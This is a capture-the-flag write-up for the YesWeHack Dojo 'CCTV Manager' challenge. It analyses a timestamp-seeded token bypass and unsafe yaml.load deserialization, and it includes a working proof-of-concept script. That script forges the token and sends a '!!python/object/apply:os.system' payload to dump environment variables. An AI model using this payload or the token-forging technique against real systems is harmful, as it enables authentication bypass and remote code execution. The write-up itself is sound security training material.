Dojo #43

Challenge "CCTV Manager" du dojo de YesWeHack (août 2025)

Le

Le Dojo de YesWeHack est un espace d’entraînement pratique où les hunters peuvent développer leurs compétences en identifiant et exploitant des failles de sécurité à travers une série de défis dédiés au bug bounty. C'est pourquoi les articles de cette catégorie sont tournés comme des rapports de bug bounty.

📝 Summary

Two criticals vulnerabilities were discovered in the authentification process and in the YAML configuration loading mechanism of the application. The combination of a low-entropy time-based seed, a non-secure PRNG (random), and reliance on token equality for access control leads to a trivial authentication bypass. The core design does not account for secure randomness or tamper resistance in the authentication process. In addition, the use of yaml.load() with an insecure loader (yaml.Loader) enables arbitrary code execution through deserialization of a malicious YAML payload.


✍ Code

import time, yaml, random
from urllib.parse import unquote
from jinja2 import Environment, FileSystemLoader
template = Environment(
    autoescape=True,
    loader=FileSystemLoader('/tmp/templates'),
).get_template('index.html')
os.chdir('/tmp')

class Firmware():
    def __init__(self, version:str):
        self.version = version
    
    def update(self):
        pass

def genToken(seed:str) -> str:
    random.seed(seed)
    return ''.join(random.choices('abcdef0123456789', k=16))


def main():
    tokenRoot = genToken(int(time.time()) // 1)

    yamlConfig = unquote("")
    tokenGuest = unquote("")

    access = bool(tokenGuest == tokenRoot)

    firmware = None
    if access:
        try:
            data = yaml.load(yamlConfig, Loader=yaml.Loader)
            firmware = Firmware(**data["firmware"])
            firmware.update()
        except:
            pass
        
    print( template.render(access=access) )

main()

🔍 Technical Details

1. Authentication Bypass via Predictable Token

  • Affected file: main.py
  • Location: main()
  • Vulnerability Type: Predictable Token / Authentication Bypass
  • Vulnerable code:
    
      def genToken(seed:str) -> str:
          random.seed(seed)
      return ''.join(random.choices('abcdef0123456789', k=16))
      # ...
      tokenRoot = genToken(int(time.time()) // 1)
    
🧠 Root cause

The root cause of the vulnerability lies in the use of the random module with a time-based seed for generating authentication tokens:

random.seed(seed)
random.choices(...)

Key Issues:

  • Predictable Seed The seed used (int(time.time())) is based on the current Unix timestamp, which has low entropy and is predictable within a small window (± a few seconds). An attacker can easily guess or brute-force the correct timestamp.

  • Use of Non-Cryptographic PRNG The Python random module is not designed for security-sensitive operations. It is deterministic and reproducible when seeded, making it unsuitable for token generation.

  • Token Verification Logic The application compares a user-supplied token (tokenGuest) with the one generated from the predictable logic (tokenRoot). This allows an attacker to bypass authentication by replicating the same token generation locally.

💥 Impact

An attacker can generate the correct tokenRoot by replicating the same genToken() function and using the approximate server time. This grants them unauthorized access to restricted areas or features of the application.

🛡️ Recommendation

Avoid using the random module with predictable seeds (such as timestamps) for generating security tokens. The random module is not cryptographically secure and should not be used for generating secrets.

2. Python object Deserialization

  • Affected file: main.py
  • Location: main()
  • Vulnerability Type: Insecure Deserialization / Arbitrary Code Execution (YAML)
  • Vulnerable code:
    data = yaml.load(yamlConfig, Loader=yaml.Loader)
    
🧠 Root cause:

Using yaml.load() with yaml.Loader allows Python object deserialization, which can be exploited using the !!python/object/apply directive to execute arbitrary functions, such as os.system.

💥 Impact

An attacker can craft a payload using the !!python/object/apply directive to execute arbitrary Python functions — including system commands via os.system. This could lead to full server compromise, data exfiltration, malware deployment, or even privilege escalation if the application runs with elevated permissions.

🛡️ Recommendation

Avoid using yaml.load() with the default Loader as it can lead to arbitrary code execution when parsing untrusted input. Use yaml.safe_load() instead, which only loads basic YAML types and is safe for untrusted

✅ Proof of Concept (PoC)

import requests, time, random

def genToken(seed:str) -> str:
    random.seed(seed)
    return ''.join(random.choices('abcdef0123456789', k=16))

URL = "https://dojo-yeswehack.com/api/challenges/285cec14-a511-4567-93f5-e709b0eaf9b9"
COOKIES = {
    "jwt":"[REDACTED]"
}

tokenRoot = genToken(int(time.time()) // 1)
payload = """!!python/object/apply:os.system
- "$(env |grep FLAG) | sh"
"""

DATA = {
    "yaml":payload,
    "token":tokenRoot
}

r = requests.post(URL,cookies=COOKIES,data=DATA)

print(r.text)

Terminal : l'exploit déclenche l'exécution de commande via YAML et révèle le flag dans la réponse du serveur

Flag

FLAG{M4lware_F1rmw4r3_N0t_F0und}"

Accès Restreint

Cet article n'est pas (encore) publique.
Pour obtenir un accès anticipé, contactez-moi.

[[ passwordError ]]

[[ post.title ]]

[[ post.description ]]

Le [[ post.date ]]

[[ tag ]]
[[ currentMatchIndex + 1 ]] / [[ searchMatches.length ]] 0 / 0

Sommaire

Page principale